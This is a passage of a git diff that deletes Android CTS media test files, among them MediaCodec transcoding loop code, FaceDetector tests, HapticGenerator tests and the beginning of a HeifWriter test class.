-            while (mCopyAudio && pendingAudioDecoderOutputBufferIndex != -1) {
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: attempting to process pending buffer: "
-                            + pendingAudioDecoderOutputBufferIndex);
-                }
-                int encoderInputBufferIndex = audioEncoder.dequeueInputBuffer(TIMEOUT_USEC);
-                if (encoderInputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    if (VERBOSE) Log.d(TAG, "no audio encoder input buffer");
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio encoder: returned input buffer: " + encoderInputBufferIndex);
-                }
-                ByteBuffer encoderInputBuffer = audioEncoderInputBuffers[encoderInputBufferIndex];
-                int size = audioDecoderOutputBufferInfo.size;
-                long presentationTime = audioDecoderOutputBufferInfo.presentationTimeUs;
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: processing pending buffer: "
-                            + pendingAudioDecoderOutputBufferIndex);
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio decoder: pending buffer of size " + size);
-                    Log.d(TAG, "audio decoder: pending buffer for time " + presentationTime);
-                }
-                if (size >= 0) {
-                    ByteBuffer decoderOutputBuffer =
-                            audioDecoderOutputBuffers[pendingAudioDecoderOutputBufferIndex]
-                                    .duplicate();
-                    decoderOutputBuffer.position(audioDecoderOutputBufferInfo.offset);
-                    decoderOutputBuffer.limit(audioDecoderOutputBufferInfo.offset + size);
-                    encoderInputBuffer.position(0);
-                    encoderInputBuffer.put(decoderOutputBuffer);
-
-                    audioEncoder.queueInputBuffer(
-                            encoderInputBufferIndex,
-                            0,
-                            size,
-                            presentationTime,
-                            audioDecoderOutputBufferInfo.flags);
-                }
-                audioDecoder.releaseOutputBuffer(pendingAudioDecoderOutputBufferIndex, false);
-                pendingAudioDecoderOutputBufferIndex = -1;
-                if ((audioDecoderOutputBufferInfo.flags
-                        & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    if (VERBOSE) Log.d(TAG, "audio decoder: EOS");
-                    audioDecoderDone = true;
-                }
-                // We enqueued a pending frame, let's try something else next.
-                break;
-            }
-
-            // Poll frames from the video encoder and send them to the muxer.
-            while (mCopyVideo && !videoEncoderDone
-                    && (encoderOutputVideoFormat == null || muxing)) {
-                int encoderOutputBufferIndex = videoEncoder.dequeueOutputBuffer(
-                        videoEncoderOutputBufferInfo, TIMEOUT_USEC);
-                if (encoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    if (VERBOSE) Log.d(TAG, "no video encoder output buffer");
-                    break;
-                }
-                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "video encoder: output buffers changed");
-                    videoEncoderOutputBuffers = videoEncoder.getOutputBuffers();
-                    break;
-                }
-                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "video encoder: output format changed");
-                    if (outputVideoTrack >= 0) {
-                        fail("video encoder changed its output format again?");
-                    }
-                    encoderOutputVideoFormat = videoEncoder.getOutputFormat();
-                    break;
-                }
-                assertTrue("should have added track before processing output", muxing);
-                if (VERBOSE) {
-                    Log.d(TAG, "video encoder: returned output buffer: "
-                            + encoderOutputBufferIndex);
-                    Log.d(TAG, "video encoder: returned buffer of size "
-                            + videoEncoderOutputBufferInfo.size);
-                }
-                ByteBuffer encoderOutputBuffer =
-                        videoEncoderOutputBuffers[encoderOutputBufferIndex];
-                if ((videoEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
-                        != 0) {
-                    if (VERBOSE) Log.d(TAG, "video encoder: codec config buffer");
-                    // Simply ignore codec config buffers.
-                    videoEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "video encoder: returned buffer for time "
-                            + videoEncoderOutputBufferInfo.presentationTimeUs);
-                }
-                if (videoEncoderOutputBufferInfo.size != 0) {
-                    muxer.writeSampleData(
-                            outputVideoTrack, encoderOutputBuffer, videoEncoderOutputBufferInfo);
-                    videoEncodedFrameCount++;
-                }
-                if ((videoEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM)
-                        != 0) {
-                    if (VERBOSE) Log.d(TAG, "video encoder: EOS");
-                    videoEncoderDone = true;
-                }
-                videoEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
-                // We enqueued an encoded frame, let's try something else next.
-                break;
-            }
-
-            // Poll frames from the audio encoder and send them to the muxer.
-            while (mCopyAudio && !audioEncoderDone
-                    && (encoderOutputAudioFormat == null || muxing)) {
-                int encoderOutputBufferIndex = audioEncoder.dequeueOutputBuffer(
-                        audioEncoderOutputBufferInfo, TIMEOUT_USEC);
-                if (encoderOutputBufferIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    if (VERBOSE) Log.d(TAG, "no audio encoder output buffer");
-                    break;
-                }
-                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "audio encoder: output buffers changed");
-                    audioEncoderOutputBuffers = audioEncoder.getOutputBuffers();
-                    break;
-                }
-                if (encoderOutputBufferIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    if (VERBOSE) Log.d(TAG, "audio encoder: output format changed");
-                    if (outputAudioTrack >= 0) {
-                        fail("audio encoder changed its output format again?");
-                    }
-
-                    encoderOutputAudioFormat = audioEncoder.getOutputFormat();
-                    break;
-                }
-                assertTrue("should have added track before processing output", muxing);
-                if (VERBOSE) {
-                    Log.d(TAG, "audio encoder: returned output buffer: "
-                            + encoderOutputBufferIndex);
-                    Log.d(TAG, "audio encoder: returned buffer of size "
-                            + audioEncoderOutputBufferInfo.size);
-                }
-                ByteBuffer encoderOutputBuffer =
-                        audioEncoderOutputBuffers[encoderOutputBufferIndex];
-                if ((audioEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG)
-                        != 0) {
-                    if (VERBOSE) Log.d(TAG, "audio encoder: codec config buffer");
-                    // Simply ignore codec config buffers.
-                    audioEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
-                    break;
-                }
-                if (VERBOSE) {
-                    Log.d(TAG, "audio encoder: returned buffer for time "
-                            + audioEncoderOutputBufferInfo.presentationTimeUs);
-                }
-                if (audioEncoderOutputBufferInfo.size != 0) {
-                    muxer.writeSampleData(
-                            outputAudioTrack, encoderOutputBuffer, audioEncoderOutputBufferInfo);
-                }
-                if ((audioEncoderOutputBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM)
-                        != 0) {
-                    if (VERBOSE) Log.d(TAG, "audio encoder: EOS");
-                    audioEncoderDone = true;
-                }
-                audioEncoder.releaseOutputBuffer(encoderOutputBufferIndex, false);
-                audioEncodedFrameCount++;
-                // We enqueued an encoded frame, let's try something else next.
-                break;
-            }
-
-            if (!muxing
-                    && (!mCopyAudio || encoderOutputAudioFormat != null)
-                    && (!mCopyVideo || encoderOutputVideoFormat != null)) {
-                if (mCopyVideo) {
-                    Log.d(TAG, "muxer: adding video track.");
-                    outputVideoTrack = muxer.addTrack(encoderOutputVideoFormat);
-                }
-                if (mCopyAudio) {
-                    Log.d(TAG, "muxer: adding audio track.");
-                    outputAudioTrack = muxer.addTrack(encoderOutputAudioFormat);
-                }
-                Log.d(TAG, "muxer: starting");
-                muxer.start();
-                muxing = true;
-            }
-        }
-
-        // Basic validation checks.
-        if (mCopyVideo) {
-            assertEquals("encoded and decoded video frame counts should match",
-                    videoDecodedFrameCount, videoEncodedFrameCount);
-            assertTrue("decoded frame count should be less than extracted frame count",
-                    videoDecodedFrameCount <= videoExtractedFrameCount);
-        }
-        if (mCopyAudio) {
-            assertEquals("no frame should be pending", -1, pendingAudioDecoderOutputBufferIndex);
-        }
-    }
-
-    private static boolean isVideoFormat(MediaFormat format) {
-        return getMimeTypeFor(format).startsWith("video/");
-    }
-
-    private static boolean isAudioFormat(MediaFormat format) {
-        return getMimeTypeFor(format).startsWith("audio/");
-    }
-
-    private static String getMimeTypeFor(MediaFormat format) {
-        return format.getString(MediaFormat.KEY_MIME);
-    }
-
-    /**
-     * Returns the first codec capable of encoding the specified MIME type, or null if no match was
-     * found.
-     */
-    private static MediaCodecInfo selectCodec(String mimeType) {
-        int numCodecs = MediaCodecList.getCodecCount();
-        for (int i = 0; i < numCodecs; i++) {
-            MediaCodecInfo codecInfo = MediaCodecList.getCodecInfoAt(i);
-
-            if (codecInfo.isAlias()) {
-                continue;
-            }
-            if (!codecInfo.isEncoder()) {
-                continue;
-            }
-
-            String[] types = codecInfo.getSupportedTypes();
-            for (int j = 0; j < types.length; j++) {
-                if (types[j].equalsIgnoreCase(mimeType)) {
-                    return codecInfo;
-                }
-            }
-        }
-        return null;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/FaceDetectorStub.java b/tests/tests/media/src/android/media/cts/FaceDetectorStub.java
deleted file mode 100644
index 6635fda..0000000
--- a/tests/tests/media/src/android/media/cts/FaceDetectorStub.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.app.Activity;
-import android.media.FaceDetector.Face;
-import android.os.Bundle;
-
-import java.util.List;
-
-public class FaceDetectorStub extends Activity {
-
-    public static final String IMAGE_ID = "imageId";
-
-    private FaceView mFaceView;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        int imageId = getIntent().getIntExtra(IMAGE_ID, R.drawable.single_face);
-        mFaceView = new FaceView(this, imageId);
-        setContentView(mFaceView);
-    }
-
-    public List<Face> getDetectedFaces() {
-        return mFaceView.detectedFaces;
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
deleted file mode 100644
index 94e4e37..0000000
--- a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-
-import android.content.Intent;
-import android.graphics.Bitmap;
-import android.media.FaceDetector;
-import android.media.FaceDetector.Face;
-import android.test.InstrumentationTestCase;
-
-@NonMediaMainlineTest
-public class FaceDetectorTest extends InstrumentationTestCase {
-
-    private FaceDetectorStub mActivity;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        Intent intent = new Intent();
-        intent.setClass(getInstrumentation().getTargetContext(), FaceDetectorStub.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(FaceDetectorStub.IMAGE_ID, R.drawable.faces);
-        mActivity = (FaceDetectorStub) getInstrumentation().startActivitySync(intent);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mActivity.finish();
-    }
-
-    public void testFindFaces() throws Exception {
-        long waitMsec = 5000;
-        Thread.sleep(waitMsec);
-        assertTrue(mActivity.getDetectedFaces().size() == 5);
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
deleted file mode 100644
index 7b50040..0000000
--- a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-
-import android.content.Intent;
-import android.graphics.PointF;
-import android.media.FaceDetector;
-import android.media.FaceDetector.Face;
-import android.test.InstrumentationTestCase;
-
-import java.util.List;
-
-@NonMediaMainlineTest
-public class FaceDetector_FaceTest extends InstrumentationTestCase {
-    private FaceDetectorStub mActivity;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        Intent intent = new Intent();
-        intent.setClass(getInstrumentation().getTargetContext(), FaceDetectorStub.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(FaceDetectorStub.IMAGE_ID, R.drawable.single_face);
-        mActivity = (FaceDetectorStub) getInstrumentation().startActivitySync(intent);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mActivity.finish();
-    }
-
-    public void testFaceProperties() throws Exception {
-        long waitMsec = 5000;
-        Thread.sleep(waitMsec);
-        List<Face> detectedFaces = mActivity.getDetectedFaces();
-        assertEquals(1, detectedFaces.size());
-        Face face = detectedFaces.get(0);
-        PointF eyesMP = new PointF();
-        face.getMidPoint(eyesMP);
-        float tolerance = 5f;
-        float goodConfidence = 0.3f;
-        assertTrue(face.confidence() >= goodConfidence);
-        float eyesDistance = 20.0f;
-        assertEquals(eyesDistance, face.eyesDistance(), tolerance);
-        float eyesMidpointX = 60.0f;
-        float eyesMidpointY = 60.0f;
-        assertEquals(eyesMidpointX, eyesMP.x, tolerance);
-        assertEquals(eyesMidpointY, eyesMP.y, tolerance);
-        face.pose(FaceDetector.Face.EULER_X);
-        face.pose(FaceDetector.Face.EULER_Y);
-        face.pose(FaceDetector.Face.EULER_Z);
-
-        int ErrorEuler = 100;
-        try {
-            face.pose(ErrorEuler);
-            fail("Should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/FaceView.java b/tests/tests/media/src/android/media/cts/FaceView.java
deleted file mode 100644
index 6d3d84b..0000000
--- a/tests/tests/media/src/android/media/cts/FaceView.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.PointF;
-import android.graphics.Rect;
-import android.media.FaceDetector;
-import android.media.FaceDetector.Face;
-import android.view.View;
-
-import java.util.ArrayList;
-
-public class FaceView extends View {
-    private static final int NUM_FACES = 10;
-    private FaceDetector mFaceDetector;
-    private Face[] mAllFaces = new Face[NUM_FACES];
-    private Bitmap mSourceImage;
-    private Paint mTmpPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
-    private Paint mPOuterBullsEye = new Paint(Paint.ANTI_ALIAS_FLAG);
-    private Paint mPInnerBullsEye = new Paint(Paint.ANTI_ALIAS_FLAG);
-    private int mPicWidth;
-    private int mPicHeight;
-
-    public ArrayList<Face> detectedFaces = new ArrayList<Face>();
-
-    public FaceView(Context context, int resId) {
-        super(context);
-
-        mPInnerBullsEye.setStyle(Paint.Style.FILL);
-        mPInnerBullsEye.setColor(Color.RED);
-
-        mPOuterBullsEye.setStyle(Paint.Style.STROKE);
-        mPOuterBullsEye.setColor(Color.RED);
-
-        mTmpPaint.setStyle(Paint.Style.STROKE);
-        mTmpPaint.setTextAlign(Paint.Align.CENTER);
-
-        BitmapFactory.Options bfo = new BitmapFactory.Options();
-        bfo.inPreferredConfig = Bitmap.Config.RGB_565;
-        bfo.inScaled = false;
-        bfo.inDither = false;
-
-        mSourceImage = BitmapFactory.decodeResource(getResources(), resId, bfo);
-
-        mPicWidth = mSourceImage.getWidth();
-        mPicHeight = mSourceImage.getHeight();
-
-        mFaceDetector = new FaceDetector(mPicWidth, mPicHeight, NUM_FACES);
-        int numFaces = mFaceDetector.findFaces(mSourceImage, mAllFaces);
-
-        for (int i = 0; i < numFaces; i++) {
-            detectedFaces.add(mAllFaces[i]);
-        }
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        float scale = Math.min((float) getWidth() / mPicWidth, (float) getHeight() / mPicHeight);
-        Rect scaledRect = new Rect(0, 0, mPicWidth, mPicHeight);
-        scaledRect.scale(scale);
-        canvas.drawBitmap(mSourceImage, null, scaledRect, mTmpPaint);
-        for (Face face : detectedFaces) {
-            PointF eyesMP = new PointF();
-            face.getMidPoint(eyesMP);
-            float centerX = eyesMP.x * scale;
-            float centerY = eyesMP.y * scale;
-            float eyesDistance = face.eyesDistance() * scale;
-            mPOuterBullsEye.setStrokeWidth(eyesDistance / 6);
-            canvas.drawCircle(centerX, centerY, eyesDistance / 2, mPOuterBullsEye);
-            canvas.drawCircle(centerX, centerY, eyesDistance / 6, mPInnerBullsEye);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/HandlerExecutor.java b/tests/tests/media/src/android/media/cts/HandlerExecutor.java
deleted file mode 100644
index afeef51e..0000000
--- a/tests/tests/media/src/android/media/cts/HandlerExecutor.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.NonNull;
-import android.os.Handler;
-import android.os.Looper;
-
-import java.util.concurrent.Executor;
-import java.util.concurrent.RejectedExecutionException;
-
-public class HandlerExecutor extends Handler implements Executor {
-    public HandlerExecutor(@NonNull Looper looper) {
-        super(looper);
-    }
-
-    @Override
-    public void execute(Runnable command) {
-        if (!post(command)) {
-            throw new RejectedExecutionException(this + " is shutting down");
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java b/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java
deleted file mode 100644
index 2b82dc2..0000000
--- a/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.AudioManager;
-import android.media.audiofx.HapticGenerator;
-
-@NonMediaMainlineTest
-public class HapticGeneratorTest extends PostProcTestBase {
-
-    private String TAG = "HapticGeneratorTest";
-
-    //-----------------------------------------------------------------
-    // HAPTIC GENERATOR TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        if (!HapticGenerator.isAvailable()) {
-            // HapticGenerator will only be created on devices supporting haptic playback
-            return;
-        }
-        HapticGenerator effect = createHapticGenerator();
-        // If the effect is null, it must fail creation.
-        effect.release();
-    }
-
-    // Test case 0.1: test constructor and close
-    public void test0_1ConstructorAndClose() throws Exception {
-        if (!HapticGenerator.isAvailable()) {
-            // HapticGenerator will only be created on devices supporting haptic playback
-            return;
-        }
-        HapticGenerator effect = createHapticGenerator();
-        // If the effect is null, it must fail creation.
-        effect.close();
-    }
-
-    //-----------------------------------------------------------------
-    // 1 - Effect enable/disable
-    //----------------------------------
-
-    //Test case 1.0: test setEnabled() and getEnabled() in valid state
-    public void test1_0SetEnabledGetEnabled() throws Exception {
-        if (!HapticGenerator.isAvailable()) {
-            // HapticGenerator will only be created on devices supporting haptic playback
-            return;
-        }
-        HapticGenerator effect = createHapticGenerator();
-        try {
-            effect.setEnabled(true);
-            assertTrue("invalid state from getEnabled", effect.getEnabled());
-            effect.setEnabled(false);
-            assertFalse("invalid state from getEnabled", effect.getEnabled());
-            // test passed
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            effect.release();
-        }
-    }
-
-    private HapticGenerator createHapticGenerator() {
-        try {
-            HapticGenerator effect = HapticGenerator.create(getSessionId());
-            try {
-                assertTrue("invalid effect ID", (effect.getId() != 0));
-            } catch (IllegalStateException e) {
-                fail("HapticGenerator not initialized");
-            }
-            return effect;
-        } catch (IllegalArgumentException e) {
-            fail("HapticGenerator not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } catch (RuntimeException e) {
-            fail("Unexpected run time error: " + e);
-        }
-        return null;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
deleted file mode 100644
index 40d6128..0000000
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ /dev/null
@@ -1,712 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_BITMAP;
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_BUFFER;
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_SURFACE;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
-import android.graphics.ImageFormat;
-import android.graphics.Rect;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.opengl.GLES20;
-import android.os.Build;
-import android.os.Environment;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Process;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.heifwriter.HeifWriter;
-import androidx.test.filters.FlakyTest;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.Closeable;
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.io.RandomAccessFile;
-import java.util.Arrays;
-
-@Presubmit
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class HeifWriterTest extends AndroidTestCase {
-    private static final String TAG = HeifWriterTest.class.getSimpleName();
-    private static final boolean DEBUG = false;
-    private static final boolean DUMP_OUTPUT = false;
-    private static final boolean DUMP_YUV_INPUT = false;
-    private static final int GRID_WIDTH = 512;
-    private static final int GRID_HEIGHT = 512;
-    private static final boolean IS_BEFORE_R = ApiLevelUtil.isBefore(Build.VERSION_CODES.R);
-
-    private static byte[][] TEST_YUV_COLORS = {
-            {(byte) 255, (byte) 0, (byte) 0},
-            {(byte) 255, (byte) 0, (byte) 255},
-            {(byte) 255, (byte) 255, (byte) 255},
-            {(byte) 255, (byte) 255, (byte) 0},
-    };
-    private static Color COLOR_BLOCK =
-            Color.valueOf(1.0f, 1.0f, 1.0f);
-    private static Color[] COLOR_BARS = {
-            Color.valueOf(0.0f, 0.0f, 0.0f),
-            Color.valueOf(0.0f, 0.0f, 0.64f),
-            Color.valueOf(0.0f, 0.64f, 0.0f),
-            Color.valueOf(0.0f, 0.64f, 0.64f),
-            Color.valueOf(0.64f, 0.0f, 0.0f),
-            Color.valueOf(0.64f, 0.0f, 0.64f),
-            Color.valueOf(0.64f, 0.64f, 0.0f),
-    };
-    private static int BORDER_WIDTH = 16;
-
-    private static final String HEIFWRITER_INPUT = "heifwriter_input.heic";
-    private static final int[] IMAGE_RESOURCES = new int[] {
-            R.raw.heifwriter_input
-    };
-    private static final String[] IMAGE_FILENAMES = new String[] {
-            HEIFWRITER_INPUT
-    };
-    private static final String OUTPUT_FILENAME = "output.heic";
-
-    private InputSurface mInputEglSurface;
-    private Handler mHandler;
-    private int mInputIndex;
-
-    @Override
-    public void setUp() throws Exception {
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String outputPath = new File(Environment.getExternalStorageDirectory(),
-                    IMAGE_FILENAMES[i]).getAbsolutePath();
-
-            InputStream inputStream = null;
-            FileOutputStream outputStream = null;
-            try {
-                inputStream = getContext().getResources().openRawResource(IMAGE_RESOURCES[i]);
-                outputStream = new FileOutputStream(outputPath);
-                copy(inputStream, outputStream);
-            } finally {
-                closeQuietly(inputStream);
-                closeQuietly(outputStream);
-            }
-        }
-
-        HandlerThread handlerThread = new HandlerThread(
-                "HeifEncoderThread", Process.THREAD_PRIORITY_FOREGROUND);
-        handlerThread.start();
-        mHandler = new Handler(handlerThread.getLooper());
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String imageFilePath =
-                    new File(Environment.getExternalStorageDirectory(), IMAGE_FILENAMES[i])
-                            .getAbsolutePath();
-            File imageFile = new File(imageFilePath);
-            if (imageFile.exists()) {
-                imageFile.delete();
-            }
-        }
-    }
-
-    public void testInputBuffer_NoGrid_NoHandler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, false, false);
-        doTestForVariousNumberImages(builder);
-    }
-
-    public void testInputBuffer_Grid_NoHandler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, true, false);
-        doTestForVariousNumberImages(builder);
-    }
-
-    public void testInputBuffer_NoGrid_Handler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, false, true);
-        doTestForVariousNumberImages(builder);
-    }
-
-    public void testInputBuffer_Grid_Handler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BUFFER, true, true);
-        doTestForVariousNumberImages(builder);
-    }
-
-    // TODO: b/186001256
-    @FlakyTest
-    public void testInputSurface_NoGrid_NoHandler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, false, false);
-        doTestForVariousNumberImages(builder);
-    }
-
-    @FlakyTest
-    public void testInputSurface_Grid_NoHandler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, true, false);
-        doTestForVariousNumberImages(builder);
-    }
-
-    @FlakyTest
-    public void testInputSurface_NoGrid_Handler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, false, true);
-        doTestForVariousNumberImages(builder);
-    }
-
-    @FlakyTest
-    public void testInputSurface_Grid_Handler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_SURFACE, true, true);
-        doTestForVariousNumberImages(builder);
-    }
-
-    public void testInputBitmap_NoGrid_NoHandler() throws Throwable {
-        TestConfig.Builder builder = new TestConfig.Builder(INPUT_MODE_BITMAP, false, false);
-        for (int i = 0; i < IMAGE_RESOURCES.length; ++i) {
-            String inputPath = new File(Environment.getExternalStorageDirectory(),
-                    IMAGE_FILENAMES[i]).getAbsolutePath();
-            doTestForVariousNumberImages(builder.setInputPath(inputPath));
-        }
-    }
-
-    public void testInputBitmap_Grid_NoHandler() throws Throwable {
